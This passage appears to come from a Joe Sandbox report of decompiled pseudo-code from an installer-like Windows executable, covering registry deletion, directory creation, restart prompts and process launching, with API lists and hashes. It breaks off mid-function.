						_t20 =  *0x48f478; // 0x6c2880
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x48f464)) = 0x48f460;
					 *0x48f460 = 0x48f460;
					 *0x48f46c = 0x48f460;
					 *0x48f419 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E00401A89);
				if( *0x48f036 != 0) {
					_push(0x48f420);
					L00401330();
					return 0;
				}
				return 0;
			}

0x004019d1
0x004019d2
0x004019d7
0x004019da
0x004019dd
0x004019e2
0x004019ee
0x004019f0
0x004019f5
0x004019f5
0x004019ff
0x00401a09
0x00401a13
0x00401a1f
0x00401a24
0x00401a30
0x00401a32
0x00401a37
0x00401a37
0x00401a3f
0x00401a43
0x00401a44
0x00401a50
0x00401a53
0x00401a55
0x00401a5a
0x00401a5a
0x00401a63
0x00401a66
0x00401a69
0x00401a75
0x00401a77
0x00401a7c
0x00000000
0x00401a7c
0x00401a81

APIs

RtlInitializeCriticalSection.KERNEL32(0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
RtlEnterCriticalSection.KERNEL32(0048F420,0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
LocalAlloc.KERNEL32(00000000,00000FF8,0048F420,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
RtlLeaveCriticalSection.KERNEL32(0048F420,00401A89,00000000,00401A82,?,?,0040222E,02358548,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

T>l, xrefs: 00401A0E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: T>l
API String ID: 730355536-2436196720
Opcode ID: 0b79033f90126981d39161ab99e2c934285850d17e9fd2b2aa0ef13270b5a0b7
Instruction ID: 3764bd7d9839a2e8440ab870b903eae0a12f7a1843275c43a8f52c3cf542d08c
Opcode Fuzzy Hash: 0b79033f90126981d39161ab99e2c934285850d17e9fd2b2aa0ef13270b5a0b7
Instruction Fuzzy Hash: 0901AD70A442405EF319BBAD9802B2F3AD4D765B48F21883FF400A6AF2C77C4848CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0042DC44(void* __eax, char* __ecx, void* __edx) {
				long _t6;

				_t10 = __ecx;
				_t7 = __edx;
				if(__eax == 2) {
					if( *0x48f65c == 0) {
						 *0x48f65c = GetProcAddress(GetModuleHandleA("advapi32.dll"), "RegDeleteKeyExA");
					}
					if( *0x48f65c == 0) {
						return 0x7f;
					} else {
						return  *0x48f65c(_t7, _t10, 0x100, 0);
					}
				}
				_t6 = RegDeleteKeyA(__edx, __ecx); // executed
				return _t6;
			}

0x0042dc46
0x0042dc48
0x0042dc4c
0x0042dc5f
0x0042dc76
0x0042dc76
0x0042dc82
0x00000000
0x0042dc84
0x00000000
0x0042dc8d
0x0042dc82
0x0042dc50
0x0042dc57

APIs

RegDeleteKeyA.ADVAPI32(?,?), ref: 0042DC50
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DDD3,00000000,0042DDEB,?,?,?,?), ref: 0042DC6B
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DC71

Strings

RegDeleteKeyExA, xrefs: 0042DC61
advapi32.dll, xrefs: 0042DC66

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: 97db6eeaf69e6b5bce7a0a414a7f0a240410ceb0782498fa8d7d035238c1f3e0
Instruction ID: b0d6a2d15e3a0811e94f5f01b3198e97f6922e0a43d587957f6058f328b7875a
Opcode Fuzzy Hash: 97db6eeaf69e6b5bce7a0a414a7f0a240410ceb0782498fa8d7d035238c1f3e0
Instruction Fuzzy Hash: EFE039F0B41230AAD62026777C4ABAB270C9B19365FA04A3BB105F51A292FC5845DB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00479988 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 213
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00479988(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr* _v8;
				char _v9;
				char _v10;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t57;
				void* _t64;
				intOrPtr _t79;
				intOrPtr _t118;
				signed int _t126;
				intOrPtr _t146;
				intOrPtr _t151;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t166;
				intOrPtr _t174;
				intOrPtr _t175;
				intOrPtr _t185;
				intOrPtr _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				void* _t203;
				void* _t204;
				intOrPtr _t205;
				void* _t213;

				_t213 = __fp0;
				_t200 = __esi;
				_t199 = __edi;
				_t155 = __ecx;
				_t203 = _t204;
				_t205 = _t204 + 0xffffffe4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v32 = 0;
				_v20 = 0;
				_v16 = 0;
				_v8 = __eax;
				_push(_t203);
				_push(0x479c9d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t205;
				_v9 = 0;
				_push(_t203);
				_push(0x479c51);
				_push( *[fs:eax]);
				 *[fs:eax] = _t205;
				_t57 = E004661A4( *0x48ff3c, __ecx, 0);
				_t207 = _t57;
				if(_t57 == 0) {
					E00408B78();
				}
				E00414ACC( *((intOrPtr*)( *0x48ff3c + 0x208)),  &_v20, _t207);
				E00403468(0x490204, 0x48ff3c, _v20, _t199, _t200);
				_t64 = E0046648C( *0x48ff3c, 0x48ff3c, _t155, _t199, _t200, _t207);
				_t208 = _t64;
				if(_t64 == 0) {
					E00408B78();
				}
				E00414ACC( *((intOrPtr*)( *0x48ff3c + 0x20c)),  &_v20, _t208);
				E00403468(0x490208, 0x48ff3c, _v20, _t199, _t200);
				 *0x49020c = E0042B0A8( *((intOrPtr*)( *0x48ff3c + 0x210)));
				 *0x490210 = E00464024( *0x48ff3c);
				_t156 =  *0x490218; // 0x22f593c
				_t174 =  *0x490214; // 0x22f5910
				E00464534( *0x48ff3c, _t156, _t174);
				_t157 =  *0x490220; // 0x22f5994
				_t175 =  *0x49021c; // 0x22f5968
				E004645B4( *0x48ff3c, _t157, _t175);
				_t209 =  *0x48ff90;
				if( *0x48ff90 != 0) {
					_t151 =  *0x48ff90; // 0x0
					E00471728(_t151, 0x48ff3c, _t199, _t200, _t209);
				}
				_t79 =  *0x48f628; // 0x22f2410
				E004241C0(_t79);
				 *((intOrPtr*)( *_v8 + 0x50))();
				_t210 =  *0x49022d - 1;
				if( *0x49022d == 1) {
					_t146 =  *0x48f628; // 0x22f2410
					SetActiveWindow( *(_t146 + 0x20));
					E00422DE8( *0x48ff3c);
				}
				 *((intOrPtr*)( *((intOrPtr*)( *0x48ff3c)) + 0x50))();
				E00479000(_v8, 0, 1);
				E0046ED54( &_v10, 0x48ff3c, 0, _t199, _t200, _t210, _t213); // executed
				if(_v10 != 0) {
					E00414A64( *((intOrPtr*)( *0x48ff3c + 0x1b4)), 0);
					E004796F0(0x48ff3c, 0, _t199, _t200, _t203); // executed
					E00479000(_v8, 1, 2);
					__eflags =  *0x49015e & 0x00000001;
					if(( *0x49015e & 0x00000001) != 0) {
						SHChangeNotify(0x8000000, 0, 0, 0);
					}
					__eflags =  *0x490161 & 0x00000004;
					if(( *0x490161 & 0x00000004) != 0) {
						E0045408C(1);
					}
					__eflags =  *0x49022d;
					if( *0x49022d != 0) {
						E00422DE0();
					}
					_v28 =  *0x0048EA54;
					_v24 = 0xb;
					E00455538("Need to restart Windows? %s", 0x48ff3c, 0,  &_v28, _t199, _t200);
					__eflags =  *0x490236;
					if( *0x490236 == 0) {
						L19:
						__eflags =  *0x490278;
						if( *0x490278 == 0) {
							E00461124(0x50,  &_v16);
						} else {
							E00461124(0x4f,  &_v16);
						}
						E004034AC( &_v32, _v16);
						E00403594( &_v32, 0x479cdc);
						_t185 =  *0x48fbd0; // 0x230a0a8
						E00403594( &_v32, _t185);
						E00463A08( *0x48ff3c, 0x48ff3c, 0, _v32, _t199, _t200, __eflags);
						__eflags =  *0x490236;
						if( *0x490236 == 0) {
							_t166 =  *0x49021c; // 0x22f5968
							_t190 =  *0x490214; // 0x22f5910
							E00463AD0( *0x48ff3c, 0x48ff3c, _t166, _t190, _t199, _t200);
							_t126 =  *((intOrPtr*)( *( *( *((intOrPtr*)( *0x48ff3c + 0x2d0)) + 0xfc)) + 0x10))();
							_t126 = _t126 > 0;
							E00414A28( *((intOrPtr*)( *0x48ff3c + 0x2d0)), _t166,  *( *( *((intOrPtr*)( *0x48ff3c + 0x2d0)) + 0xfc)) & 0xffffff00 | _t126 > 0x00000000, _t199);
						}
						goto L24;
					} else {
						__eflags =  *0x48ff97;
						if(__eflags != 0) {
							goto L19;
						}
						E00461124(0x51,  &_v32);
						E00463A08( *0x48ff3c, 0x48ff3c, 0, _v32, _t199, _t200, __eflags);
						E00414A28( *((intOrPtr*)( *0x48ff3c + 0x258)), 0, 1, _t199);
						E00414A28( *((intOrPtr*)( *0x48ff3c + 0x25c)), 0, 1, _t199);
						L24:
						__eflags =  *0x49022d;
						if( *0x49022d == 0) {
							_t118 =  *0x48f628; // 0x22f2410
							E004241C0(_t118);
							 *((intOrPtr*)( *_v8 + 0x50))();
						}
						_v9 = 1;
						_pop(_t187);
						 *[fs:eax] = _t187;
						goto L27;
					}
				} else {
					E00478800();
					_pop(_t198);
					 *[fs:eax] = _t198;
					L27:
					_pop(_t188);
					 *[fs:eax] = _t188;
					_push(0x479ca4);
					E00403418( &_v32);
					E00403418( &_v20);
					return E00403418( &_v16);
				}
			}

0x00479988
0x00479988
0x00479988
0x00479988
0x00479989
0x0047998b
0x0047998e
0x0047998f
0x00479990
0x00479993
0x00479996
0x00479999
0x0047999c
0x004799a6
0x004799a7
0x004799ac
0x004799af
0x004799b2
0x004799b8
0x004799b9
0x004799be
0x004799c1
0x004799c6
0x004799cb
0x004799cd
0x004799cf
0x004799cf
0x004799df
0x004799ec
0x004799f3
0x004799f8
0x004799fa
0x004799fc
0x004799fc
0x00479a0c
0x00479a19
0x00479a2b
0x00479a37
0x00479a3c
0x00479a42
0x00479a4a
0x00479a4f
0x00479a55
0x00479a5d
0x00479a62
0x00479a69
0x00479a6b
0x00479a70
0x00479a70
0x00479a75
0x00479a7a
0x00479a84
0x00479a87
0x00479a8e
0x00479a90
0x00479a99
0x00479aa0
0x00479aa0
0x00479aa9
0x00479ab3
0x00479abb
0x00479ac4
0x00479ae2
0x00479ae8
0x00479af5
0x00479afa
0x00479b01
0x00479b0e
0x00479b0e
0x00479b13
0x00479b1a
0x00479b1c
0x00479b1c
0x00479b21
0x00479b28
0x00479b2c
0x00479b2c
0x00479b3f
0x00479b42
0x00479b50
0x00479b55
0x00479b5c
0x00479b9e
0x00479b9e
0x00479ba5
0x00479bb8
0x00479ba7
0x00479bac
0x00479bac
0x00479bc3
0x00479bd0
0x00479bd8
0x00479bde
0x00479be8
0x00479bed
0x00479bf4
0x00479bf6
0x00479bfc
0x00479c04
0x00479c19
0x00479c1e
0x00479c23
0x00479c23
0x00000000
0x00479b5e
0x00479b5e
0x00479b65
0x00000000
0x00000000
0x00479b6c
0x00479b76
0x00479b85
0x00479b94
0x00479c28
0x00479c28
0x00479c2f
0x00479c31
0x00479c36
0x00479c40
0x00479c40
0x00479c43
0x00479c49
0x00479c4c
0x00000000
0x00479c4c
0x00479ac6
0x00479ac6
0x00479acd
0x00479ad0
0x00479c77
0x00479c79
0x00479c7c
0x00479c7f
0x00479c87
0x00479c8f
0x00479c9c
0x00479c9c

APIs

SetActiveWindow.USER32(?,?,00000000,00479C9D,?,?,00000001,?), ref: 00479A99
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 00479B0E

Strings

, xrefs: 00479BCB
Need to restart Windows? %s, xrefs: 00479B4B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: 329999ff75cc77def9890d350095eef4645af725d091b3e7f3aef5a89b9e0492
Instruction ID: 2750664cd831820fccee58c95da551eb70f542662e9de577cb7051c68e096772
Opcode Fuzzy Hash: 329999ff75cc77def9890d350095eef4645af725d091b3e7f3aef5a89b9e0492
Instruction Fuzzy Hash: E99190706002449FCB05EF69D886B9E77F4AF49308F5085BBE4049B362D778AD49CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004695BC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004695BC(signed int __eax, void* __ebx, signed int __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				signed int _v9;
				char _v10;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				void* _t92;
				signed int _t103;
				intOrPtr* _t108;
				signed int _t133;
				signed int _t138;
				intOrPtr _t153;
				void* _t158;
				void* _t174;
				void* _t176;

				_t176 = __eflags;
				_t169 = __edi;
				_t135 = __ecx;
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_v20 = 0;
				_v44 = 0;
				_v48 = 0;
				_v9 = __ecx;
				_v8 = __edx;
				_t133 = __eax;
				E00403740(_v8);
				_push(_t174);
				_push(0x4697b9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t174 + 0xffffffd0;
				_v10 = 0;
				E0042C738(_v8,  &_v20);
				E0042CAE0(_v20, _t135,  &_v16, _t176);
				E004034AC( &_v8, _v16);
				E0042C860(_v8, _t135,  &_v16);
				_t177 = _v16;
				if(_v16 == 0) {
					L16:
					_pop(_t153);
					 *[fs:eax] = _t153;
					_push(0x4697c0);
					E00403438( &_v48, 2);
					E00403438( &_v20, 2);
					return E00403418( &_v8);
				}
				_t92 = E00450DC4(_t133, _v8, _t177); // executed
				if(_t92 == 0) {
					_push(_a4);
					E0042C7D8(_v8, _t135,  &_v16);
					_push(_v16);
					_t138 =  *0x4697cc; // 0x2
					_pop(_t158); // executed
					E004695BC(_t133, _t133,  !_t138 & _v9, _t158, __edi, __esi, __eflags); // executed
					_v28 = _v8;
					_v24 = 0xb;
					_t142 = 0;
					E00455538("Creating directory: %s", _t133, 0,  &_v28, __edi, __esi);
					_t103 = E00450BB4(_t133, _v8, __eflags); // executed
					__eflags = _t103;
					if(_t103 == 0) {
						_t133 = GetLastError();
						E004503A4(0x2f,  &_v20, _v8);
						_v40 = _v20;
						E00406D00(_t133,  &_v44);
						_v36 = _v44;
						E0042E638(_t133,  &_v48);
						_v32 = _v48;
						E00450374(0x60, 2,  &_v40,  &_v16);
						_t142 = _v16;
						E00408BA4(_v16, 1);
						E00403134();
					}
					_v10 = 1;
					__eflags = _v9 & 0x00000008;
					if((_v9 & 0x00000008) != 0) {
						SHChangeNotify(8, 1, E00403750(_v8), 0);
						E0042C7D8(_v8, _t142,  &_v16);
						SHChangeNotify(0x1000, 0x1001, E00403750(_v16), 0);
					}
					L8:
					if((_v9 & 0x00000004) == 0) {
						__eflags = _v9 & 0x00000001;
						if((_v9 & 0x00000001) == 0) {
							_t171 = 2;
							__eflags = _t133;
							if(_t133 != 0) {
								_t171 = 0x22;
								__eflags = 2;
							}
							__eflags = _v9 & 0x00000008;
							if((_v9 & 0x00000008) != 0) {
								__eflags = _t171;
							}
							_v52 = _v8;
							E00457428( *((intOrPtr*)(_a4 - 4)), _t133,  &_v52, 0x81, _t169, _t171, _t171, 0);
						}
					} else {
						_t108 =  *0x490258; // 0x22f5b2c
						 *((intOrPtr*)( *_t108 + 0x30))();
					}
					goto L16;
				}
				if((_v9 & 0x00000002) == 0) {
					goto L16;
				} else {
					goto L8;
				}
			}

0x004695bc
0x004695bc
0x004695bc
0x004695c3
0x004695c4
0x004695c7
0x004695ca
0x004695cd
0x004695d0
0x004695d3
0x004695d6
0x004695d9
0x004695de
0x004695e5
0x004695e6
0x004695eb
0x004695ee
0x004695f1
0x004695fb
0x00469606
0x00469611
0x0046961c
0x00469621
0x00469625
0x00469789
0x0046978b
0x0046978e
0x00469791
0x0046979e
0x004697ab
0x004697b8
0x004697b8
0x00469630
0x00469637
0x0046964b
0x00469652
0x0046965a
0x0046965b
0x00469668
0x00469669
0x00469672
0x00469675
0x0046967c
0x00469683
0x0046968d
0x00469692
0x00469694
0x0046969b
0x004696a9
0x004696b1
0x004696b9
0x004696c1
0x004696c9
0x004696d1
0x004696de
0x004696e3
0x004696ed
0x004696f2
0x004696f2
0x004696f7
0x004696fb
0x004696ff
0x00469710
0x0046971d
0x00469735
0x00469735
0x0046973a
0x0046973e
0x00469753
0x00469757
0x00469759
0x0046975e
0x00469760
0x00469762
0x00469762
0x00469762
0x00469765
0x00469769
0x0046976b
0x0046976b
0x00469774
0x00469784
0x00469784
0x00469740
0x00469747
0x0046974e
0x0046974e
0x00000000
0x0046973e
0x0046963d
0x00000000
0x00469643
0x00000000
0x00469643

APIs

Part of subcall function 0042C738: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C75C

Part of subcall function 0042CAE0: CharPrevA.USER32(?,00000000,?,00000001,?,?,0042CC0E,00000000,0042CC34,?,00000001,?,?,00000000,?,0042CC86), ref: 0042CB08

GetLastError.KERNEL32(00000000,004697B9,?,?,00000001,00490044), ref: 00469696
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00469710
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00469735

Strings

Creating directory: %s, xrefs: 0046967E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ChangeNotify$CharErrorFullLastNamePathPrev
String ID: Creating directory: %s
API String ID: 2168629741-483064649
Opcode ID: fd5cdd4a1b5bda1875cfb299eb7cc2fec812380e37d4517e9bead18ca95cb74b
Instruction ID: e2f5c7cae23e52c3f241dfe830c38e7f3c7cd42f9b6b4cdedd6c4220c886e7b7
Opcode Fuzzy Hash: fd5cdd4a1b5bda1875cfb299eb7cc2fec812380e37d4517e9bead18ca95cb74b
Instruction Fuzzy Hash: 3B511174A00248EBDB01DFA5D582BDEB7F9AF49305F50856AE800B7382D7B85E04CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00452F30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00452F30(void* __eax, void* __ebx, void* __edx, void* __edi, struct HINSTANCE__* __esi) {
				char _v8;
				short _v8200;
				char _v8204;
				char _v8208;
				char _v8212;
				void* _t29;
				int _t41;
				void* _t46;
				struct HINSTANCE__* _t62;
				_Unknown_base(*)()* _t63;
				char _t65;
				intOrPtr _t73;
				void* _t83;
				void* _t86;
				void* _t87;

				_t84 = __esi;
				_t86 = _t87;
				_push(__eax);
				_t29 = 2;
				do {
					_t87 = _t87 + 0xfffff004;
					_push(_t29);
					_t29 = _t29 - 1;
				} while (_t29 != 0);
				_push(__ebx);
				_push(__esi);
				_v8204 = 0;
				_v8208 = 0;
				_v8212 = 0;
				_v8 = 0;
				_t83 = __edx;
				_t65 = _v8;
				_push(_t86);
				_push(0x4530a4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t87 + 0xfffffff4;
				if( *0x48fee0 == 0) {
					E0042D780( &_v8212);
					E0042C3E0(_v8212,  &_v8208);
					E00403594( &_v8208, "sfc.dll");
					E00403544( &_v8204, E00403750(_v8208));
					_t62 = E0042E1B8(_v8204, _t65, 0x8000); // executed
					_t84 = _t62;
					if(_t84 != 0) {
						_t63 = GetProcAddress(_t84, "SfcIsFileProtected"); // executed
						 *0x48fee4 = _t63;
					}
					 *0x48fee0 = 1;
				}
				if( *0x48fee4 != 0) {
					E0042C738(_t83,  &_v8);
					if(_t65 == 0) {
						E00451EA4(_v8, _t65, 0,  &_v8204, _t83, _t84);
						E004034AC( &_v8, _v8204);
					}
					_t41 = E0040358C(_v8);
					 *((short*)(_t86 + MultiByteToWideChar(0, 0, E00403750(_v8), _t41,  &_v8200, 0xfff) * 2 - 0x2004)) = 0;
					if(_v8200 == 0) {
						L11:
					} else {
						_t46 =  *0x48fee4(0,  &_v8200); // executed
						if(_t46 == 0) {
							goto L11;
						}
					}
				}
				_pop(_t73);
				 *[fs:eax] = _t73;
				_push(0x4530ab);
				E00403438( &_v8212, 3);
				return E00403418( &_v8);
			}

0x00452f30
0x00452f31
0x00452f33
0x00452f34
0x00452f39
0x00452f39
0x00452f3f
0x00452f40
0x00452f40
0x00452f49
0x00452f4a
0x00452f4e
0x00452f54
0x00452f5a
0x00452f60
0x00452f63
0x00452f65
0x00452f69
0x00452f6a
0x00452f6f
0x00452f72
0x00452f7c
0x00452f84
0x00452f95
0x00452fa5
0x00452fbd
0x00452fcd
0x00452fd2
0x00452fd6
0x00452fde
0x00452fe3
0x00452fe3
0x00452fe8
0x00452fe8
0x00452ff6
0x00453001
0x00453008
0x00453013
0x00453021
0x00453021
0x00453035
0x0045304d
0x0045305f
0x00453074
0x00453061
0x0045306a
0x00453072
0x00000000
0x00000000
0x00453072
0x0045305f
0x00453080
0x00453083
0x00453086
0x00453096
0x004530a3

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00452FDE
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,004530A4), ref: 00453048

Strings

SfcIsFileProtected, xrefs: 00452FD8
sfc.dll, xrefs: 00452FA0

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2508298434-591603554
Opcode ID: 98c8037ba8aaeefbf7150cfda033bcb3b892298142a95ae68cd744b4774b43c6
Instruction ID: 1d662093e745af288151e08cced0d788a5a09dfa86744915bc645a1a72a504f0
Opcode Fuzzy Hash: 98c8037ba8aaeefbf7150cfda033bcb3b892298142a95ae68cd744b4774b43c6
Instruction Fuzzy Hash: 214196709003189BEB20EF55DC85B9DB7B8EB04746F5041BBA908A3293D7789F48CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00450954 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00450954(void* __eax, char __edx) {
				char _v8;
				char _v9;
				char _v16;
				intOrPtr _v20;
				void* _v24;
				char _v28;
				void* _t21;
				intOrPtr _t29;
				intOrPtr _t35;
				void* _t39;
				intOrPtr _t47;
				void* _t50;
				void* _t56;
				void* _t60;
				void* _t62;
				intOrPtr _t63;

				_t60 = _t62;
				_t63 = _t62 + 0xffffffe8;
				_v8 = __edx;
				_t56 = __eax;
				_v9 = 0;
				_push( &_v16);
				_t21 = E00403750(__eax);
				_t50 = _t21;
				_push(_t50); // executed
				L00405B7C(); // executed
				_t39 = _t21;
				if(_t39 <= 0) {
					if( *0x48e0dc != 1) {
						_t15 =  &_v8; // 0x450a29
						_v9 = E00450778(_t56,  *_t15);
					}
					return _v9;
				} else {
					_v20 = E00402648(_t39);
					_push(_t60);
					_push(0x4509ef);
					_push( *[fs:eax]);
					 *[fs:eax] = _t63;
					_push(_v20);
					_push(_t39);
					_t29 = _v16;
					_push(_t29);
					_push(_t50); // executed
					L00405B74(); // executed
					if(_t29 != 0) {
						_push( &_v28);
						_push( &_v24);
						_push(E00450A18);
						_t35 = _v20;
						_push(_t35);
						L00405B84();
						if(_t35 != 0) {
							_t11 =  &_v8; // 0x450a29
							memcpy( *_t11, _v24, 0xd << 2);
							_v9 = 1;
						}
					}
					_pop(_t47);
					 *[fs:eax] = _t47;
					_push(E00450A0C);
					return E00402660(_v20);
				}
			}

0x00450955
0x00450957
0x0045095d
0x00450960
0x00450962
0x00450969
0x0045096c
0x00450971
0x00450973
0x00450974
0x00450979
0x0045097d
0x004509fd
0x004509ff
0x00450a09
0x00450a09
0x00450a15
0x0045097f
0x00450986
0x0045098b
0x0045098c
0x00450991
0x00450994
0x0045099a
0x0045099b
0x0045099c
0x0045099f
0x004509a0
0x004509a1
0x004509a8
0x004509ad
0x004509b1
0x004509b2
0x004509b7
0x004509ba
0x004509bb
0x004509c2
0x004509c7
0x004509d3
0x004509d5
0x004509d5
0x004509c2
0x004509db
0x004509de
0x004509e1
0x004509ee
0x004509ee

APIs

745C14E0.VERSION(00000000,?,?,?,0048CB6C), ref: 00450974
745C14C0.VERSION(00000000,?,00000000,?,00000000,004509EF,?,00000000,?,?,?,0048CB6C), ref: 004509A1
745C1500.VERSION(?,00450A18,?,?,00000000,?,00000000,?,00000000,004509EF,?,00000000,?,?,?,0048CB6C), ref: 004509BB

Strings

)E, xrefs: 004509FF, 004509C7

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: C1500
String ID: )E
API String ID: 1255762788-881129960
Opcode ID: 611ef1a2111dd0497dba7112dfe665be22e6762ef5518e9d8e929094d159e1b6
Instruction ID: 4438155049cc76cb68282396f03aeb3914f24db3a958afc31e42cd10e3c1fe93
Opcode Fuzzy Hash: 611ef1a2111dd0497dba7112dfe665be22e6762ef5518e9d8e929094d159e1b6
Instruction Fuzzy Hash: C221A175A00248AFDB01DAA98C41DBFB7FCEB49341F55447AFD04E3382D679AE048B69

Uniqueness

Uniqueness Score: -1.00%

Function 00450C2C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
processCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00450C2C(void* __eax, CHAR* __ecx, CHAR* __edx, void* __eflags, struct _PROCESS_INFORMATION* _a4, struct _STARTUPINFOA* _a8, CHAR* _a12, char _a16, long _a20, char _a24, struct _SECURITY_ATTRIBUTES* _a28, struct _SECURITY_ATTRIBUTES* _a32) {
				int _v8;
				char _v16;
				long _v20;
				int _t27;
				intOrPtr _t42;
				void* _t50;
				void* _t52;
				intOrPtr _t53;

				_t50 = _t52;
				_t53 = _t52 + 0xfffffff0;
				if(E00450B68(__eax,  &_v16) != 0) {
					_push(_t50);
					_push(0x450ca6);
					_push( *[fs:eax]);
					 *[fs:eax] = _t53;
					_t6 =  &_a16; // 0x455848
					_t8 =  &_a24; // 0x455860
					_t27 = CreateProcessA(__edx, __ecx, _a32, _a28,  *_t8, _a20,  *_t6, _a12, _a8, _a4); // executed
					_v8 = _t27;
					_v20 = GetLastError();
					_pop(_t42);
					 *[fs:eax] = _t42;
